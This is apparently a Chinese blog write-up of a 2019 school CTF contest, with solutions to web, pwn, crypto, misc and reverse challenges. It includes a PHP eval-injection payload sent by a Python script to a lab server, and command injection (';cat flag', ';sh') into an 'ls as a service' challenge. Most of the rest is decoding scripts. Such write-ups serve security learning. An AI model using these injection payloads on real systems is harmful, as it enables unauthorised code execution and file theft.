xatuctf2019 校赛 writeup

2019年4月19日 · 1114 字 · 3 分钟 · Ctf

2019.4.14 校赛,由于之前没办萌新赛,所以这次的题有点水 23333

WEB

你能读到 flag 吗

题目:

 <?php
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");?>

谷歌之,原题,直接复制提交。

使用 file_get_contents() 方法获得 flag

python 代码如下

import requests

s=requests.session()
body = {"hello":"file_get_contents('flag.php')"}
r = s.post("http://192.168.1.5:23114/read.php", data=body)

print(r.content)

phpdecode

直接搜 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= 找到了别人的 wp,flag 获得。

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= <?php

error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);?>

可知加密为 base64_encode(hex2bin(strrev(bin2hex($flag)))),一层一层解密,python 脚本如下

from base64 import b64decode
from binascii import hexlify, unhexlify

code = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="

print(unhexlify(hexlify(b64decode(code))[::-1]))

PWN

nc from 0 to 1

直接 nc 连接即可获得 flag

ls1

ls as a service,将输入的字符传递为 ls 的 args,多试几次即可得出文件目录结构,精简后的如下:

.
├── bin
│   ├── cat
│   ├── ls
│   └── sh
├── flag
└── ls1

传入 ; cat flag 即可读到 ls1

ls2

ls as a service v2,限制了传入 args 的字符数为 3,无法直接 cat flag。 由于 bin 下存在 sh,通过 ;sh 唤起 shell,读取 flag。

ls2

CRYPTO

dididi

..-. .-.. .- --. ..-. -.. ....- .---- . .---- ..--- -.. ----- ...-- .---- -.-. ..--- . -.. -.... -.-. ..-. ---.. ---.. ---.. -.... ...-- ---.. . -.... -.... -... . ....- -.. .

摩斯密码

Caesar cipher

kqfl{Hfjxfw_hnumjw_1x_xt_xnruqj}

凯撒加密

rc4

cipher:wRTwnbjEAf6T22dYzyKgtBzQ/ydMmNqmf3WeW9E=
key:eGF0dXNlYw==

rc4 加密,唯一需要注意的是 key 可能需要经过一次 base64 解密。

Datababy

数码宝贝中的字母表,对照即可。

(由此题可以知道出题人没再手动复现题,因为 datababy 并不能搜到数码宝贝。其官方英文名称为 Digital monster

baby RSA

与下面的 esayRSA 相同,用现成的库就好

110

ONE -> 1 ZERO -> 0 得到一长长长长长长长长长长长长长长长长长长长长长串 0 和 1。

每八位二进制转 ASCII 即可获得 flag。

easy RSA

n = 9637828843823500407917687664441327784714605952794831018467094508166140790258515855681653788687192363262499178812675284846293988948568322307302995971433129
e = 65537
c = 1736476276571471518318904802453151397043836796931780608028216447791913603812271065838523639504410549594365173220377575243217983329182149750696526310732151

https://github.com/3summer/CTF-RSA-tool

MISC

这个容易,就是有点累

一个压缩了几千层的 zip 包,可以直接上十六进制查看器(winhex, hxd, 010 editor 等)打开,Ctrl + F flag 即可得到。

据写脚本解压的小伙伴称他们跑了一个多小时(

压缩脚本如下

#!/bin/bash

name1=`cat /dev/urandom | sed 's/[^a-zA-Z0-9]//g' | strings -n 6 | head -n 1`
name2=".zip"
name=$name1$name2
#echo $name

zip -m $name flag

while true
do
 name1=`cat /dev/urandom | sed 's/[^a-zA-Z0-9]//g' | strings -n 6 | head -n 1`
 name=$name1$name2
 zip -m $name *.zip
done

Fibs

求斐波那契数列第 1234 项,然后 md5(hex(Fibs(1234))),(转小写后)即为 flag。

看到这个题……肯定不能自己现场写算法,否则会被跑炸内存的。直接谷歌斐波那契数列快速求第 N 项,得到 O(log N) 的算法后写脚本求项。

脚本如下

def Fibonacci_recursion_fast(n):
    if n == 0:
        return 0
    if n == 1:
        return 1
    k = (n + 1) / 2 if n % 2 else n / 2
    fib_k = Fibonacci_recursion_fast(k)
    fib_k_1 = Fibonacci_recursion_fast(k - 1)
    return fib_k**2 + fib_k_1**2 if n % 2 else (2 * fib_k_1 + fib_k) * fib_k

print(hex(Fibonacci_recursion_fast(1234)))

md5 一下,再转小写提交。

REVERSE

Snake

贪吃蛇,玩到 70 分就出 flag

ssta’s Python 教室

给的是一个 pyc 文件,在线反编译,得到的代码如下。

# encoding: utf-8

from base64 import b32encode
import codecs

def b32(s):
    return b32encode(s)

def rot13(s):
    return codecs.encode(s, 'rot13')
    # return s.encode('rot13')

def reverse(s):
    return s[::-1]

def reverseSomeByte(s):
    return s[-6:] + s[:-6]

def main():
    flag = '******************************'
    cipher = reverse(b32(rot13(reverseSomeByte(flag))))
    print(cipher)
    print('=== WELCOME TO XATUCTF2019 ===')
    return 'C336VYBGQB56FX5LGLM6FX5MFDNGGTZMGTP4D7MPUT3SXZVP6RP4TQQN'

if __name__ == '__main__':
    ffllaagg = main()
    print('FLAG is right here. Can you get it?', ffllaagg)

重点是 cipher = reverse(b32(rot13(reverseSomeByte(flag)))),与 phpencode 相似,自己写脚本一层一层解密即可。 自己写的不完善的脚本如下

# -*- encoding: utf-8 -*-
from base64 import b32decode
import codecs

def b32(s):
    return b32decode(s)

def rot13(s):
    return codecs.decode(s, 'rot13')

def reverse(s):
    return s[::-1]

cipher = 'C336VYBGQB56FX5LGLM6FX5MFDNGGTZMGTP4D7MPUT3SXZVP6RP4TQQN'

print(rot13(b32(reverse(cipher)).decode("ASCII")))

前六位移到最后即可。


自己没做出来的题就没写 wp 23333